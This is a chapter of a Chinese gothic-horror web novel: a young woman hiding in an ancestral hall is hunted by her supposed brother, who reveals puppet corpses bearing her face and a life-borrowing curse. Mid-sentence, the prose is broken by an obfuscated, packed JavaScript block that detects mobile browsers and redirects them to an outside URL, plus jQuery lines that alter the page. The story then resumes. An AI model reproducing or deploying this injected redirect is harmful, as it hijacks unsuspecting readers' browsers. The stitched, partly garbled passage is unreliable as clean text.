36.骨戏

梅雨浸透青砖,祠堂飞檐下的铜铃在风雨中发出暗哑声响。


供桌上的白幡无风自动,露出背面用经血写的祭文——【癸亥年七月初七,上弦月,借纯阴女血肉重塑金身。】


神龛后的夹层里,腐朽的檀香混着血腥味凝成粘稠的雾。


李垂容蜷缩在送子观音斑驳的莲座后,金漆剥落的佛手正抵着脊梁,阵阵发麻。


宋璟的皂靴碾过第七块青砖时,那处昨夜新裂的纹路发出呜咽,细碎苔藓溅上她露在蒲团外的群裾衣角。


她稍稍抬了抬眼眸,眸光无波,望见观音低垂的眼睫结着蛛网,蛛丝末端悬着半粒带血的金瓜子。


被发现了吗……


反正也是迟早的事情,宋璟在这呆一息,那她便危险一息。何况他们早就撕破了那层表面和谐的纱,余下狰狞面目。


褪色经幡背面爬满指甲刻的梵文,被她的冷汗浸湿后显出“鸠”字残痕,宋璟腰间蟠螭佩的螭目在黑暗中泛起磷光,与棺椁缝隙溢出的尸气相缠。


“梅儿总爱捉迷藏。”他的叹息裹着沉水香渗入木隙,广袖扫过供桌时,三根线香齐齐折断。


李垂容盯着他靴尖头缀的东珠,皂靴突然转向,靴底沾着的纸灰拼成坎卦,正对应她藏身的方位。


一下又一下,他的步子迈得极轻又有规律,闲庭漫步一般,让她想起不久前藏经阁的那夜。


她无端想起发间的那支白玉簪,以及……那夜金簪落地时,碎玉溅落一地。


原身的首饰基本都是宋璟亲自采买,每每饰阁那边有新上的饰品样式,他都会为她精心挑选。


只因原身说过,兄长的眼光极好,她只戴哥哥选的饰品。


李垂容神经不敢懈怠分毫,却见宋璟的指尖划过神龛幔帐,金线刺绣的莲花在他触碰下绽出血瓣。


他俯身时白衣领口滑出胭色衬边,一缕乌发垂落,发梢蜷曲如毒蛇昂首。


青铜镜碎片突然从梁上坠落,在积水里映出双重影像,她的呼吸滞在喉间,腕间一股无名力量突然收紧,勒出与那适才被割喉的女子脖颈相同的淤痕。


她的脑中忽而闪过一帧回忆,扭曲而森然——泰元八十年的那日中元节,宋璟也是这样掀开床幔,嘴角沾着父亲书房丢失的徽墨。


宋璟他……到底是人是鬼?!


借命……借命……


璟非亲子,十九年劫。


癸亥年七月初七,上弦月,借纯阴女血肉重塑金身。


癸亥年……泰元前的百年?


李垂容骤然想起,上弦月……好熟悉的字眼,她好似在哪里听过。


宋璟停了动作,瞳孔在黑暗中骤缩成竖线,琥珀色虹膜裂开细缝,露出底下玄黑如墓穴的内瞳。


“找到你了。”


带笑的低语混着铁锈味贴上耳畔,他的指尖霎时穿透幔帐缝隙,腕骨发出错位声,以非人角度折进夹层。


李垂容向后仰倒时撞翻长明灯,灯油泼在观音脸上,金漆熔成血泪蜿蜒而下。


倏尔,他的指甲突然暴长三寸,堪堪划过她的颈侧,血珠溅在褪色经幡上,竟自行游成“荧惑守心”的凶卦。


裂帛声撕破雨幕,宋璟终于扯开神龛帷幕。褪色经幡缠在他腕间,露出底下用血写的鲜红祭文。


“梅儿可知这神龛...”他未尽的话语被惊雷劈碎,她趁机抓起暗格中的玉诀,断刃般的棱角割破掌心,血浸透的书页上,宋父的字迹突然显现:【璟非亲子,乃借尸还魂之...】


“原来如此……”李垂容将视线定定看向他,缓缓吐字。


她极为忌惮地盯着他,语气似乎早有预料般:“你根本就是个半人不鬼的东西。”


宋璟未开口言语,只低低笑了两声,随后腔调拉长,最后似是抑制不住般的放声大笑。


“梅儿可知何为画皮?”他背过身去,刃尖挑起女子残尸,尸身如蛇蜕般片片剥落。


“第十八个。”宋璟擦拭匕首的动作优雅如题诗,刃面倒映出十二具悬于梁上的楠木匣。


十二具……匣子?


恰时,第七根蜡烛爆出人形灯花,祠堂横梁突然传来玉珏相击的脆响。


李垂容颤然抬眸,十二具描金漆的楠木匣不知何时悬于梁上,匣缝里垂落的胭脂色绸缎正滴滴答答渗着血珠。


血珠坠地时绽开细小的涟漪,倒映出她放大到扭曲的瞳孔。


潮湿的空气中浮动着西蕃莲腐败的甜香,与傀儡关节的桐油味绞成死结,而每具木匣四角拴着青铜铃,铃舌是少女蜷缩的指骨,随阴风轻叩匣面。


“还差最后一步……”


宋璟广袖扫灭半数烛火,黑暗中有机括转动的咔嗒声自四面八方涌来。


第一具木匣轰然洞开,金丝悬吊的傀儡新娘垂直坠落,绣鞋尖头的东珠正抵在李垂容鼻尖。


“梅儿……这才是你的好姊妹。”


那女尸嫁衣上的蹙金孔雀被尸水染成墨绿,鸟喙处缀着颗带血槽的犬齿,盖头下露出半张高度腐败的脸,右眼窝插着支鎏金点翠簪……


空洞的眼窝,渗着丝丝血迹,还在“望”着她。


李垂容神情凝滞在那,一时间连呼吸都忘记了。


还没等她反应过来,其余木匣接连炸裂,十一具傀儡如提线木偶般垂落。她踉跄后退,脊背撞上第七具傀儡——


这具的皮肤用尸蜡保存完好,眉眼正是她昨日对镜梳妆的模样。


后知后觉的森然爬满她的全身,一股恶寒袭来,李垂容面色苍白,甚至有些想吐。


“梅儿可喜欢她们?”宋璟的低笑裹着百年陈腐气息,指尖抚过她的颈后。


源自于原身内心深处的恐惧开始迸发,李垂容的身子开始止不住的发颤。记忆碎片一帧帧不断闪过,像有人拿着锥子在她脑中不断搅动。


他的匕首还停在神龛珠帘前三寸,祠堂横梁却突然坠下猩红绸缎,紧接着,十二具傀儡悬空起舞,描金面皮下露出与她不同年岁的容貌。


宋璟轻笑一声:“看来梅儿是不喜欢了,但你总爱乱跑。”


他扯断第三具傀儡的悬丝,那具立刻软塌塌地偎进


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031741|160155||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


她的怀里。腐尸的唇齿间掉出半块玉诀,正与她袖中那枚断口相契。


李垂容身侧攥紧的拳头不断打颤,指尖没入肉里,强迫着让自己冷静下来。


从刚刚她就发现了,这些女尸嫁衣内襟用金线绣着《换命咒》,针脚混着暗红血丝,指节屈起,甲片上残留的丹蔻与她院中凤仙花汁同色。


换命……借命……


到底是……换的什么命?借的谁的命?


李垂容不自觉地向后退去,而傀儡腕间红线突然活过来般缠上她的手指,在无名指勒出合婚印。


那女尸心口处的破洞里塞着泛黄信笺,潦草而又熟悉的笔迹——【泰元初年七月初七,换命咒成。】


泰元……初年?!


当她试图甩开时,傀儡的眼珠突然转动,琥珀色瞳孔里映出宋璟重瞳的倒影。


暴雨穿透瓦当砸在额角,李垂容终于看清每具傀儡的异处——她们分别呈现宋梅不同年岁的样貌。


最末那具尚未完工的傀儡半面描着金漆,另半面竟是被割喉女人的脸,手中攥着的合婚庚帖正滴落新鲜人血。


十二具相同的与她面容神似的傀儡,难不成是……原身自己?!


雨丝须臾转为赤红,祠堂地砖渗出粘稠黑液。宋璟褪去白衣,露出满背的诡异纹路,朱砂勾勒的星斗正对应原身记忆中父亲书房那张"荧惑守心"星图。


“梅儿。”他抬眼看向她,眸光晦暗幽深。


他俯身抚摸着傀儡嫁衣上的珍珠,语气喃喃:“十九年前你本该是我的新娘。”


暴雨中的青铜镜映出双影,影像模糊不清,却能看到宋父将匕首刺进襁褓却被金光震飞。


宋母抱着一个幼婴跪在祠堂,地砖下传来指甲抓挠声:"璟儿再等等...待她长成纯阴之体..."


纯阴之体……


癸亥年七月初七…借纯阴女血肉重塑金身……


李垂容一下扯断女尸翡翠镯掷向长明灯,火焰腾起青紫色。宋璟背上的星图开始流动,傀儡们尖啸着化作灰蝶,腐烂的喉管震动出宋梅的声音。


趁他晃神之际,她撞开暗格取出染血的忏悔书。泛黄的宣纸上,宋父字迹如刀:【癸亥年窃璟儿阳寿续命,今以亲女血肉偿债...】


李垂容忽而不受控制地笑了,笑得泪花涌出:“果然……果然……”


血泪突然从牌位涌出,地砖下十二具金丝楠木匣同时开启,每具都蜷缩着与她容貌相似的少女干尸。


宋璟的手穿透她胸膛时,腕间血痣化作锁链缠上他的咽喉:“你以为十九年前为何独活?”


他心口旧疤突然裂开,露出半块刻着生辰八字的龟甲——那正是宋梅的八字,浸在漆黑的血浆里跳动。


当宋璟将染血的盖头覆在她眼前时,最后一丝天光被胭脂色吞没。傀儡们腕间的翡翠镯子开始共鸣,祠堂地砖下传来指甲抓挠声。


在彻底堕入黑暗前,李垂容瞥见那具最新傀儡的嫁衣内衬——金线绣着的生辰八字墨迹未干,正是今日今时。


上弦月。